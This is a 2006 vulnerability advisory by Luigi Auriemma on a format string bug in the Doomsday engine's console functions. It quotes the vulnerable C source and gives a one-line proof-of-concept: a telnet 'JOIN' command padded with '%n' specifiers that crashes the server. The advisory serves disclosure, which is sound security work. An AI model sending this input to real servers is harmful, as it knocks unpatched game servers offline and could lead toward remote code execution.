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Format string in Doomsday 1.8.6
From: Luigi Auriemma <aluigi () autistici org>
Date: Mon, 3 Apr 2006 23:20:34 +0200


#######################################################################

                             Luigi Auriemma

Application:  Doomsday engine
              http://www.doomsdayhq.com
              http://deng.sourceforge.net
Versions:     <= 1.8.6 (and current SVN 1.9.0)
Platforms:    Windows, *nix, *BSD, Mac and others
Bug:          format string bug in Con_Message and Con_Printf
Exploitation: remote, versus server and clients
Date:         03 Apr 2006
Author:       Luigi Auriemma
              e-mail: aluigi () autistici org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


The Doomsday engine is an enhanced and well known open source port of
the original Doom engine and is also one of the most played on
Internet.


#######################################################################

======
2) Bug
======


The Doomsday engine contains many functions used for the visualization
of the messages in the console.
Both Con_Message and conPrintf are vulnerable to a format string
vulnerability which could allow an attacker to execute malicious code
versus the server or the clients.
The first function calls a "Con_Printf(buffer)" while the second one
calls a "SW_Printf(prbuff)" if SW_IsActive is enabled (which means
ever).

From Src/con_main.c:

void Con_Message(const char *message, ...)
{
        va_list argptr;
        char   *buffer;

        if(message[0])
        {
                buffer = malloc(0x10000);

                va_start(argptr, message);
                vsprintf(buffer, message, argptr);
                va_end(argptr);

#ifdef UNIX
                if(!isDedicated)
                {
                        // These messages are supposed to be visible in the real console.
                        fprintf(stderr, "%s", buffer);
                }
#endif

                // These messages are always dumped. If consoleDump is set,
                // Con_Printf() will dump the message for us.
                if(!consoleDump)
                        printf("%s", buffer);

                // Also print in the console.
                Con_Printf(buffer);

                free(buffer);
        }
        Con_DrawStartupScreen(true);
}

...

void conPrintf(int flags, const char *format, va_list args)
{
        unsigned int i;
        int     lbc;                            // line buffer cursor
        char   *prbuff, *lbuf = malloc(maxLineLen + 1);
        cbline_t *line;

        if(flags & CBLF_RULER)
        {
                Con_AddRuler();
                flags &= ~CBLF_RULER;
        }

        // Allocate a print buffer that will surely be enough (64Kb).
        // FIXME: No need to allocate on EVERY printf call!
        prbuff = malloc(65536);

        // Format the message to prbuff.
        vsprintf(prbuff, format, args);

        if(consoleDump)
                fprintf(outFile, "%s", prbuff);
        if(SW_IsActive())
                SW_Printf(prbuff);
    ...



#######################################################################

===========
3) The Code
===========


Connect with telnet to port 13209 (default) of a DoomsDay server and
type:

  JOIN 1234 %n%n%n%n%n%n

The server will crash immediately.


#######################################################################

======
4) Fix
======


No fix.
No reply from the developers.


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org


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